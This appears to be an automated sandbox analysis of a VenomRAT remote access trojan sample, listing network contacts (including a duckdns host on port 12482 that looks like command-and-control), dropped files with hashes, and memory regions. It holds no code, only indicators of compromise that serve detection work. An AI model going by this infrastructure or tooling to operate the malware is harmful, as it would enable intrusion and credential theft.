US 8.8.8.8:53 youtube-ui.l.google.com udp
US 8.8.8.8:53 youtube-ui.l.google.com udp
NL 216.58.214.2:443 googleads.g.doubleclick.net udp
US 8.8.8.8:53 play.google.com udp
US 8.8.8.8:53 play.google.com udp
NL 142.251.36.14:443 play.google.com udp
US 8.8.8.8:53 play.google.com udp
US 74.119.119.149:443 csm.us.criteo.net tcp
NL 216.58.214.2:443 googleads.g.doubleclick.net udp
US 74.119.119.149:443 csm.us.criteo.net tcp
US 8.8.8.8:53 github.com udp
US 8.8.8.8:53 t.dtscout.com udp
US 8.8.8.8:53 github.com udp
US 140.82.112.3:443 github.com tcp
US 141.101.120.11:443 t.dtscout.com tcp
US 8.8.8.8:53 t.dtscout.com udp
US 8.8.8.8:53 github.com udp
US 185.199.108.154:443 github.githubassets.com tcp
US 8.8.8.8:53 github.githubassets.com udp
US 185.199.108.154:443 github.githubassets.com tcp
US 8.8.8.8:53 3.112.82.140.in-addr.arpa udp
US 8.8.8.8:53 csi.gstatic.com udp
US 172.253.62.120:443 csi.gstatic.com udp
US 8.8.8.8:53 csi.gstatic.com udp
US 172.253.62.120:443 csi.gstatic.com tcp
US 8.8.8.8:53 collector.github.com udp
US 8.8.8.8:53 api.github.com udp
US 140.82.113.21:443 collector.github.com tcp
US 8.8.8.8:53 glb-db52c2cf8be544.github.com udp
US 140.82.112.5:443 api.github.com tcp
US 8.8.8.8:53 api.github.com udp
US 8.8.8.8:53 120.62.253.172.in-addr.arpa udp
US 8.8.8.8:53 5.112.82.140.in-addr.arpa udp
US 185.199.110.133:443 raw.githubusercontent.com tcp
US 185.199.110.133:443 raw.githubusercontent.com tcp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 185.199.108.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 8.8.8.8:53 glb-db52c2cf8be544.github.com udp
US 8.8.8.8:53 auth.venomlicense.com udp
CA 54.39.152.114:443 auth.venomlicense.com tcp
US 8.8.8.8:53 dofucks.com udp
NL 213.152.161.240:12482 dofucks.com tcp
US 8.8.8.8:53 private115.duckdns.org udp
NL 213.152.161.240:12482 private115.duckdns.org tcp
NL 213.152.161.240:12482 private115.duckdns.org tcp
US 8.8.8.8:53 private115.duckdns.org udp
NL 213.152.161.240:12482 private115.duckdns.org tcp
NL 213.152.161.240:12482 private115.duckdns.org tcp
NL 213.152.161.240:12482 private115.duckdns.org tcp
NL 213.152.161.240:12482 private115.duckdns.org tcp
US 8.8.8.8:53 contile.services.mozilla.com udp

Files

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\activity-stream.discovery_stream.json.tmp

MD5 1299ca287aa078885cfc4313f73b8fa5
SHA1 fd40af66386bfdce91c777478d98c70d96151bd8
SHA256 c8e2be9384cab18006f7e4b22c62120d8497aaf8d9bbe4f889333b5c896a61cd
SHA512 87ea6cb322b4180f98c7efbd76cb6701dcaa7db31eda5e8b925313f8cc427c31797c8a10fafcf8513f52d62d63a61331759f836483144f9f0f2a82f52c7162cd

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

MD5 4c73653cc30e804107a636f0badd649d
SHA1 7edb882934528c4fd8ac99ef633c49938c55a889
SHA256 d5f57aa203f242767173a17ea2538ef2ae76993161014e9d901aee415cbb58d6
SHA512 a7b27fedd25af8850af8161354e5d245e4d001c54f002f0b360188a05a251f4c6f62e2b3ef565a836e4245c129d0a19f66bdb2fb3667adea0d1b5fb429d1846e

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\prefs-1.js

MD5 c8217a19fd3f19de6b5983857724263c
SHA1 15756206f51856f78498237d51d65434d4eb5e8e
SHA256 b1cf637a97449ca7ab015e85aba94c893b275512901ddbb0a85c761a66a4f9ff
SHA512 c8f3c4c1d211780a3ff8bc97778d24085786b5402744925681d1114c108617e3366642097c295aea3d2155be29dfcd5a458ecdd7814b15c878e601789dc604e5

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\sessionstore-backups\recovery.jsonlz4

MD5 74030197127a4f7987746fb06cd53157
SHA1 bdd1f4fbaeca82e8143750e7a3153a1f2c4ffb7d
SHA256 a2de80e68d44867ae602b6dfb644522db26aa0c7db7e66d7f2dacc4ed1da84a9
SHA512 47b0e41ffea94250c2599a8e2ff3c7718e43ee9072cbed7303440824f143d48f8ea197a809f0af42a2be89d125c1ca606816734244275f14038426fa7056f788

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\cache2\doomed\29911

MD5 ff1080d4acd24d5b054b5f99eee0c981
SHA1 5225671d3c4ccb9fe2ebadfcee0341758f38c0b1
SHA256 b7fdec09e7b59e1fc80b908c92f5b46ced70eb2170c88c1d1d5d880080198ba7
SHA512 d22e3b5bc8b5f89c11143ba386cb50583db50d606ad40f640b78a332ce37c12f1acb628980c09fa14f40de754f57a49718882d0d0690fbce68e359e105950c8c

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\sessionstore-backups\recovery.jsonlz4

MD5 b6b1923d3fd466cc7cde9abcd22a67d3
SHA1 e0ba5eb65f19d5a938884e40f5f79d7ac788cf48
SHA256 8a888e933423f2c80a9168068d2f48dc2d2e65182c4f1e0d797232d41aa12102
SHA512 7867e0f68b2fdf20ab90cdb2a5d7c680de78fc2ede06d45c75f7a60c4d934196d5dd4788a0581421b38654aace26f8a0b61a9431f5e725bc3da114a90e671d6e

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\storage\default\https+++anonfiles.com\cache\morgue\134\{3fe01ada-ab11-4a38-9f20-31d4ae08b786}.final

MD5 7509101d3b592c9336f130526a5dcc65
SHA1 b01f59b0e4326318c0c6d7b5c19e57093e11a31f
SHA256 7279a0d506c71496d08227fdaeef4d2503186298977186367cf631fa8e8eaa65
SHA512 533f642b3a2e18bdd3f48d70cc134acb2b8d9881d24fc1f6dfd0cb9a68a3889ac232f36238be365a1144c27033a4f5a610dda4b15bef44a627cdb019bfe59e5a

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\prefs-1.js

MD5 0c40eee6bcbb583b9b3ef07dec4323ca
SHA1 e6f5ebfae1cbfb7f1a08a034426fb1bdae6e6a2b
SHA256 7fbcabe6bddfaa94edb0917d101662bb3eac1e5d79683fa38973af00aad6dac9
SHA512 f36aba8edfb539c1582f7871ff196ee4730b4534542adde9f17faddfd96c4a29478b44b69e89f8f632d1623ec2b1d05f97379b6cf4f1dd239a66e6071ec966b1

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\sessionstore-backups\recovery.jsonlz4

MD5 56df04d05e1ce5c4863f79a9d3d01e8e
SHA1 59028ec46be1e42f0a3435a06e43520496db1335
SHA256 99afe8271e1efde1b1b1cb1befb9c854454b232319bc9de600a5b42a4b90c7db
SHA512 196330a74b14a60bc184da8b860c34391dd91e8e19c09203f154fd3d6a0cfb072f15c880d55f1bb60d0be03dcfc44909121f041a13af60e5fc51f23ba0e2af00

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\storage\default\https+++www.youtube.com\idb\4213330504LCo7g%sCD7a%t3aebeabs.sqlite

MD5 3ed1592b0e5fd89044a8310fbf9792fd
SHA1 1e47248809e22bff22192a28aa29f40b00a66469
SHA256 4fafa31983c96877204f50d2ae014ed329d4a27cd21b85cbec90569cfb5a9f04
SHA512 95937cc56666ac8d84b875a1e0479066becfbc6b791c6e411ce43e92c887b9e7774bd317ba67fb8bebf1e11db876e6f878703219a2f4737c03b5eab9d6dc65e5

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\storage\default\https+++www.youtube.com\cache\morgue\45\{42414d49-c079-4b20-bf12-fcd56e48682d}.final

MD5 0888ab57243d4360fc00d3ef48edd2b3
SHA1 1c52f40240bfe6a7d11df38a2519ee084cf92c9e
SHA256 880d28f4ab67993eb2424c4ffdb586480278ba561faa1808abd41dccb30402d4
SHA512 980a56f4eddabe7100b6e26f4cd16b77727e22462b07f05dc59d341d2768d28ee53a6bdc3305a47f672da50b53db85f78601cd886421ea4131b2e20dc71937ab

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\storage\default\https+++www.youtube.com\idb\3211250388sbwdpsunsohintoatciif.sqlite-wal

MD5 40f37369fe7f68d5ee4aff53a2730b01
SHA1 5e27e9906e2cd973d97ba51fc535902ed2159b95
SHA256 eea3a7085ea13211e726123cdea18133c7e30bee94652b0af0cacf54f011ca99
SHA512 7ee4d3053613e3967143a75b29f31edd7e5faca1a8e38a04bc00ca5f789780dd0f29696b3f51101414a686a18f466cf6b2f3a2deca437d31ab02d24e27c6bcc4

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\storage\default\https+++www.youtube.com\cache\morgue\248\{750a5e53-b592-463b-bd4c-5d9e83e9f2f8}.final

MD5 f1693a67bc95ff125cc5f8be5f26b60a
SHA1 2a0a31685e539f3407de0121c06273dbc0821d87
SHA256 e79c01fec1dc6730db80ceffabf2577f161e7f9f6afe51019c478f7cbe52972a
SHA512 a305d648058ee5e43b5bb7dc6d25c26ff9c1b9f52ca9d0bd30b1ab3627beebc260164853f46366a8c95bf370508a295a5130df960e9eec36c02e35c34973564e

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\cache2\doomed\658

MD5 b17f55340a82b6e623b0be9639466505
SHA1 60a2aec0a550e3ce18a5225f19e68e3d4c139870
SHA256 3ee1ec940bee5db6b8ec573e1e7b3f2959dcbbc7367b4f94e91d4675e9d3ad22
SHA512 80057ab2fc5185680156bc6b1a2a5cd442a99f951eaf23e2090bdd682817e296dc21c474b2f913c49a17ab551a3cd1ccfc022bde83f52987bdd26c3671eae16c

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\sessionstore-backups\recovery.jsonlz4

MD5 2d4bddf96a702c044002da8cfe2ab3cb
SHA1 d471fc398047f3be55a6a2127f84613cb202c494
SHA256 4ae99c49cbf5cebf1d55783fd30f28d8d1f289a614e82c33d15c3670d9f77d25
SHA512 4de8d4254519aaa7f15f770827e774929979f2e5e156849f21f76ec7949e45aed03423e1c31c0594cb68b3ffe94448a545b2ecb89ffaf0e86f9e3c688f2e9552

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\cache2\doomed\2959

MD5 01fd5df15dc2b5e68a0ef7f43ea8d075
SHA1 8c21b73d8e776496e44bdddd2b835311e4770486
SHA256 e70f42a441bffca68a3c574c34e996c002f686d54dbc3a54e9cc1063ca525a8a
SHA512 5a222b845696c4c3681001e72c874257c033b78e68945913e03c7f5d468977302ac4163c235a02c3df8bbdfd4ff00b97cca68a7c0e7f8ec34242b75a2006890f

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\sessionstore-backups\recovery.jsonlz4

MD5 e137ad9b2b715d4d01eab20ac03aa7c2
SHA1 ee0172669f5822b4926649a0e72d45d52bf942f9
SHA256 a361d60dcef1daec6c347a09fd20cff8001f3fb23c2819a9d12f92229d737cc3
SHA512 f73161ce787b0033df3a0e5551fd5c7c07c96b8ca70f0f96788480823ff591a7f7e6e2cb378ed675c203235327809cfa990213e2b7152e72de75c8dd8df719b3

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\sessionstore-backups\recovery.jsonlz4

MD5 1051200c1e85ed4056b2eb28b2c8228d
SHA1 60fdd613c308a636f91d589ca000b2507032be54
SHA256 c2aa41844d0bf7b103451345d2b9934a56a07e98efbd03df4d498ebef466d5d1
SHA512 9daf57630c21e61a33e4017386edcd6110f6e092d8d3103eec720178a898e873fa8e06cd73ef8e8211bcceb54c3c7d2a5fd91a7127c5b86936cf0c04ae12e144

C:\Users\Admin\Downloads\VenomRAT v6.Im4oF36h.0.3.rar.part

MD5 dc02da89fdd6719abb9b2aa841bc07db
SHA1 ef0642abe635d3c25e86c24fc92e04eda1bb79bd
SHA256 d921610f3189d836e19933b314f929accc6ca4b9fb5ed7957d2e05795d8ba939
SHA512 94eeadc7b7aff3ef0ca642f9e0499a56fae9c71548fb30558db0083ef4479892824ee8ac4eb6453e9157b0f27ca241d5d7c2b032c940ff4964e764ce5f5cf72d

C:\Users\Admin\Downloads\VenomRAT v6.0.3.rar

MD5 dc02da89fdd6719abb9b2aa841bc07db
SHA1 ef0642abe635d3c25e86c24fc92e04eda1bb79bd
SHA256 d921610f3189d836e19933b314f929accc6ca4b9fb5ed7957d2e05795d8ba939
SHA512 94eeadc7b7aff3ef0ca642f9e0499a56fae9c71548fb30558db0083ef4479892824ee8ac4eb6453e9157b0f27ca241d5d7c2b032c940ff4964e764ce5f5cf72d

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\rzyhfx4n.default-release\sessionstore-backups\recovery.jsonlz4

MD5 7f24fad55b24c7e94ba0a59437e98609
SHA1 28053f4606d21653a4bd3079603372f6e24345cd
SHA256 6007f59956002efc6c081b80767e833e4fa32526f65b362a9150582c5ccc63be
SHA512 915ec399419dc131de622881db2558e4ee9027bd4e1abcfb0b1972611c2311e0ca09e0f808f8d45986f05b0a51fc78d17f1131944f8cf7fcdb7de88e59a82ec0

C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe

MD5 a323d5877e0dd906e24c573478fabf0d
SHA1 52d9dd2ca72c9b67dc11635457eac1e2d6c6e2d9
SHA256 4fad03cbe6bdce75c305798845f4437fd262ce65d754ac24de0e3a14c93f08ae
SHA512 1862915f60e3975c3751abc1394615bcb108df8619035bcbafa174ba8f5b39513bafb4b8d05a39a68871bc918ecef63ea620590cf0be65d55033ed9eb69891f8

C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe

MD5 a323d5877e0dd906e24c573478fabf0d
SHA1 52d9dd2ca72c9b67dc11635457eac1e2d6c6e2d9
SHA256 4fad03cbe6bdce75c305798845f4437fd262ce65d754ac24de0e3a14c93f08ae
SHA512 1862915f60e3975c3751abc1394615bcb108df8619035bcbafa174ba8f5b39513bafb4b8d05a39a68871bc918ecef63ea620590cf0be65d55033ed9eb69891f8

C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe

MD5 a323d5877e0dd906e24c573478fabf0d
SHA1 52d9dd2ca72c9b67dc11635457eac1e2d6c6e2d9
SHA256 4fad03cbe6bdce75c305798845f4437fd262ce65d754ac24de0e3a14c93f08ae
SHA512 1862915f60e3975c3751abc1394615bcb108df8619035bcbafa174ba8f5b39513bafb4b8d05a39a68871bc918ecef63ea620590cf0be65d55033ed9eb69891f8

memory/6756-1537-0x0000000000E00000-0x0000000000E1A000-memory.dmp

memory/6756-1538-0x00007FFDBC9D0000-0x00007FFDBD491000-memory.dmp

memory/6756-1540-0x000000001BAF0000-0x000000001BB00000-memory.dmp

memory/6892-1541-0x00007FFDBC9D0000-0x00007FFDBD491000-memory.dmp

memory/6892-1543-0x0000020A43BF0000-0x0000020A43C00000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o5kzfx0u.obn.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/6892-1542-0x0000020A2B600000-0x0000020A2B622000-memory.dmp

memory/6892-1555-0x0000020A43D00000-0x0000020A43E4E000-memory.dmp

memory/6892-1556-0x00007FFDBC9D0000-0x00007FFDBD491000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

memory/7056-1568-0x000001DC7BC60000-0x000001DC7BC70000-memory.dmp

memory/7056-1567-0x000001DC7BC60000-0x000001DC7BC70000-memory.dmp

memory/7056-1558-0x00007FFDBC9D0000-0x00007FFDBD491000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 4267fc1e87ee23aeb8b9a7d0497091c5
SHA1 59ddae7dc44b8317ff933ad113493eb1644c52c0
SHA256 ff7daa872dda2a5fc4ce7a687bb4193774abb607d489887ffdbbd0ef71bc0d8d
SHA512 1d1b048dc3f01680f4049c23db8e4450f2d59a1174184a340e712d6e4340b3ab6191a254986c98743c5374a693733bfa6ff255b62a7b43809bd79c0804be2beb

memory/7056-1579-0x000001DC7BC60000-0x000001DC7BC70000-memory.dmp

memory/7056-1581-0x000001DC7BDB0000-0x000001DC7BEFE000-memory.dmp

memory/7056-1582-0x00007FFDBC9D0000-0x00007FFDBD491000-memory.dmp

memory/4720-1583-0x00007FFDBC9D0000-0x00007FFDBD491000-memory.dmp

memory/4720-1584-0x000001F65B660000-0x000001F65B670000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d4d9aa0d1f59c308165fcfde8af102ff
SHA1 06c80e42d7c81fe712fb01ee00cc4375bd56ef78
SHA256 ce8919c2f373fbeb62d6ecae9ab255bbeb265be6f3a8f58716dcafe04fda9ccb
SHA512 f0fd85d74956c0b91a1f45a1b66db51032ade95490692b281ca7a21ed44e44acda13eda3fa18288b2d8c7292d4678450754dc2a2177957fac534326953e64aa1

memory/6756-1595-0x00007FFDBC9D0000-0x00007FFDBD491000-memory.dmp

memory/4720-1596-0x000001F65B660000-0x000001F65B670000-memory.dmp

memory/4720-1599-0x000001F673C90000-0x000001F673DDE000-memory.dmp

memory/4720-1600-0x00007FFDBC9D0000-0x00007FFDBD491000-memory.dmp

memory/5704-1607-0x00007FFDBC9D0000-0x00007FFDBD491000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 5df5d9a64e24a130f9c48dfa818a4d15
SHA1 c8733defd29d02e13dd5fc775f98332ecebd36ba
SHA256 50b155789bbad5559df30e9491d3388b648b888f045191fc3f8aaa1cc90d7508
SHA512 3ed7904cf98df8fd60baa4b280cdf68e50efb8ac2f6d04aac3f65efb03f2817ce683c8847259452fa7d3f2455e9d4e29b3f9316f4fd1689c39a5ccb53dda5aba

memory/5704-1612-0x000001A157EB0000-0x000001A157EC0000-memory.dmp

memory/6756-1613-0x00007FFDBC9D0000-0x00007FFDBD491000-memory.dmp

memory/5704-1615-0x000001A170500000-0x000001A17064E000-memory.dmp

memory/5704-1616-0x00007FFDBC9D0000-0x00007FFDBD491000-memory.dmp

memory/5728-1636-0x00000271F35A0000-0x00000271F35A1000-memory.dmp

memory/5728-1638-0x00000271F35A0000-0x00000271F35A1000-memory.dmp

memory/5728-1637-0x00000271F35A0000-0x00000271F35A1000-memory.dmp

memory/5728-1643-0x00000271F35A0000-0x00000271F35A1000-memory.dmp

memory/5728-1644-0x00000271F35A0000-0x00000271F35A1000-memory.dmp

memory/5728-1645-0x00000271F35A0000-0x00000271F35A1000-memory.dmp

memory/5728-1647-0x00000271F35A0000-0x00000271F35A1000-memory.dmp

memory/5728-1648-0x00000271F35A0000-0x00000271F35A1000-memory.dmp

memory/5728-1646-0x00000271F35A0000-0x00000271F35A1000-memory.dmp

memory/5728-1642-0x00000271F35A0000-0x00000271F35A1000-memory.dmp

C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe

MD5 a323d5877e0dd906e24c573478fabf0d
SHA1 52d9dd2ca72c9b67dc11635457eac1e2d6c6e2d9
SHA256 4fad03cbe6bdce75c305798845f4437fd262ce65d754ac24de0e3a14c93f08ae
SHA512 1862915f60e3975c3751abc1394615bcb108df8619035bcbafa174ba8f5b39513bafb4b8d05a39a68871bc918ecef63ea620590cf0be65d55033ed9eb69891f8

C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe

MD5 a323d5877e0dd906e24c573478fabf0d
SHA1 52d9dd2ca72c9b67dc11635457eac1e2d6c6e2d9
SHA256 4fad03cbe6bdce75c305798845f4437fd262ce65d754ac24de0e3a14c93f08ae
SHA512 1862915f60e3975c3751abc1394615bcb108df8619035bcbafa174ba8f5b39513bafb4b8d05a39a68871bc918ecef63ea620590cf0be65d55033ed9eb69891f8

C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe.config

MD5 a1c2a2870001b66db41bcb020bff1c2d
SHA1 8c54c6a3564c8892aa9baa15573682e64f3659d9
SHA256 0aa9e3ab5c88c5761120206eff5c6e35c90288290b3647a942059705ef5b75e5
SHA512 b3bf53120203cfaa951f301b532849cb382d2404c9503916bc1ca39925a9a1530b01045f341fc75d47d65130d0187dcbbf4288b9ef46aa81624b59ba7802794b

memory/944-1899-0x00007FFDBC360000-0x00007FFDBCE21000-memory.dmp

C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

MD5 cf759e4c5f14fe3eec41b87ed756cea8
SHA1 c27c796bb3c2fac929359563676f4ba1ffada1f5
SHA256 c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761
SHA512 c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

memory/5188-1911-0x00007FFDBC360000-0x00007FFDBCE21000-memory.dmp

memory/5188-1912-0x00000171F1CB0000-0x00000171F1CC0000-memory.dmp

memory/5188-1913-0x00000171F1CB0000-0x00000171F1CC0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d4a2f28ade8dd97f0adb0f71cc027c2d
SHA1 204f23cd6e8afb444711b24a77e5ad12a215042f
SHA256 feb979bbc240009176d8263f786083ea987071229008d0fdca424404b00d06ea
SHA512 729b70695712a6a19d6c5428a8dcab04acc4f8af61f620d5b049459a7c643c0d081b585beedca10d97a3ffa208106e48b5e2719972f31b695ed1956d7eff155a

memory/5188-1916-0x00007FFDBC360000-0x00007FFDBCE21000-memory.dmp

memory/6928-1917-0x00007FFDBC360000-0x00007FFDBCE21000-memory.dmp

memory/6928-1918-0x000001E7C77D0000-0x000001E7C77E0000-memory.dmp

memory/6928-1919-0x000001E7C77D0000-0x000001E7C77E0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 b30d480ed3ee3bb456b909caa57ed666
SHA1 581842f3d4bb48d82855bad93b3644ac385231df
SHA256 7a90ea2d807af799cb17005df8339a0528909e39ab1a32d72df05ee49e601cf0
SHA512 fd9c627c0879268bac196ce7f424f21c16d43895a058e80ef2816ea70b606145e0ff1ad83b78b43b719865e3707447b46c710b911c2c07433bcecbe1efdf8c90

memory/6928-1931-0x00007FFDBC360000-0x00007FFDBCE21000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 cfd3bd01c58dc06846600b34b456df5a
SHA1 498ef6e8a5280b00dad3cabfe9fe61fab730ebbe
SHA256 614b10b5faf1a78d121b5e71bed8fd7c4260b1ed110a218c8ae944bb639a01f2
SHA512 ddfa26c56cd7f2af9f3ec842f4e0e9204909bf1083e15bc3ba9e994865edec6e8ec56d18808d20b23760e2fc1c586843afafce5f32c00430cf1a28b3cc704562

memory/6720-1942-0x00007FFDBC360000-0x00007FFDBCE21000-memory.dmp

memory/6720-1944-0x000001609F850000-0x000001609F860000-memory.dmp

memory/6720-1945-0x000001609F850000-0x000001609F860000-memory.dmp

memory/6720-1943-0x000001609F850000-0x000001609F860000-memory.dmp

memory/6720-1947-0x00007FFDBC360000-0x00007FFDBCE21000-memory.dmp

memory/944-1948-0x00007FFDBC360000-0x00007FFDBCE21000-memory.dmp

memory/5216-1961-0x00000247BA870000-0x00000247BA880000-memory.dmp

memory/5216-1962-0x00000247BA870000-0x00000247BA880000-memory.dmp

memory/5216-1960-0x00000247BA870000-0x00000247BA880000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 dfe5e5503ab16c3e643609590b50a627
SHA1 eb1fb2bb515565bcc6cb5580648a460fc5e8ad10
SHA256 640c216db91fb678641eddab9d1da19e91915ea0fa801cbc4db8c7d6f84797d5
SHA512 405588a1e37fb4281827513007b150993188fdf3acb55e5a6999b9c307712bc140eaa8688fba11ca78de6f68c8fdd2ba6fb702c73c978fba9ea87eaf89c33ced

memory/5216-1958-0x00007FFDBC360000-0x00007FFDBCE21000-memory.dmp

memory/5216-1964-0x00007FFDBC360000-0x00007FFDBCE21000-memory.dmp

C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val

MD5 6bd369f7c74a28194c991ed1404da30f
SHA1 0f8e3f8ab822c9374409fe399b6bfe5d68cbd643
SHA256 878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d
SHA512 8fc5f073dc9fa1e1ae47c60a5f06e0a48709fd6a4302dffaa721858409e7bde64bc6856d3fb28891090516d1a7afc542579de287778b5755eafe75cc67d45d93

C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

MD5 d2fb266b97caff2086bf0fa74eddb6b2
SHA1 2f0061ce9c51b5b4fbab76b37fc6a540be7f805d
SHA256 b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a
SHA512 c3ba95a538c1d266beb83334af755c34ce642a4178ab0f2e5f7822fd6821d3b68862a8b58f167a9294e6d913b08c1054a69b5d7aec2efdb3cf9796ed84de21a8

C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock

MD5 f49655f856acb8884cc0ace29216f511
SHA1 cb0f1f87ec0455ec349aaa950c600475ac7b7b6b
SHA256 7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba
SHA512 599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe

MD5 a323d5877e0dd906e24c573478fabf0d
SHA1 52d9dd2ca72c9b67dc11635457eac1e2d6c6e2d9
SHA256 4fad03cbe6bdce75c305798845f4437fd262ce65d754ac24de0e3a14c93f08ae
SHA512 1862915f60e3975c3751abc1394615bcb108df8619035bcbafa174ba8f5b39513bafb4b8d05a39a68871bc918ecef63ea620590cf0be65d55033ed9eb69891f8

memory/5188-1987-0x00007FFDBC9D0000-0x00007FFDBD491000-memory.dmp

memory/5188-1988-0x000000001AFD0000-0x000000001AFE0000-memory.dmp

memory/4284-1998-0x00007FFDBC9D0000-0x00007FFDBD491000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 a5c02524627a30c319a894cccd98fd6d
SHA1 01e99922e1441329580f8f138532e0e590cb4087
SHA256 955bd6ef68d6460aa2490746f057a20378d08e542797f3ba1af52e8ac54e1f00
SHA512 e0db0d4d0e4421b2806a99aa2d99c35f6f6d4c4ccfdc7400db31d2742f731b49aba733c82910b2ff8b3348cb68ca35c8482437eb043607886ab9f1839c091a83

memory/4284-1999-0x0000028133B40000-0x0000028133B50000-memory.dmp

memory/4284-2001-0x0000028133B40000-0x0000028133B50000-memory.dmp

memory/4284-2002-0x0000028133B40000-0x0000028133B50000-memory.dmp

memory/4284-2004-0x00007FFDBC9D0000-0x00007FFDBD491000-memory.dmp

memory/5064-2006-0x000001E117E70000-0x000001E117E80000-memory.dmp

memory/5064-2007-0x000001E117E70000-0x000001E117E80000-memory.dmp

memory/5064-2005-0x00007FFDBC9D0000-0x00007FFDBD491000-memory.dmp

memory/5064-2018-0x000001E117E70000-0x000001E117E80000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 b4e3250abe9f68a9833824795fedf0ee
SHA1 e11c290155c3802802424cff9e8ba80f3e129f25
SHA256 ffa3bffe6a29830bf6056e4aca52a7416e2f8079198b49c6e25b18bea5592c2b
SHA512 7dea9151f8e0ebd2eb8f3eeede6b26712abb98954d363b7287a078d111d9eacc57282d4bdaa85d03fe2e3185762ada6fdc5f793353b1b0f1e23bb063914b7dbb

memory/5064-2020-0x00007FFDBC9D0000-0x00007FFDBD491000-memory.dmp

memory/5312-2021-0x00007FFDBC9D0000-0x00007FFDBD491000-memory.dmp

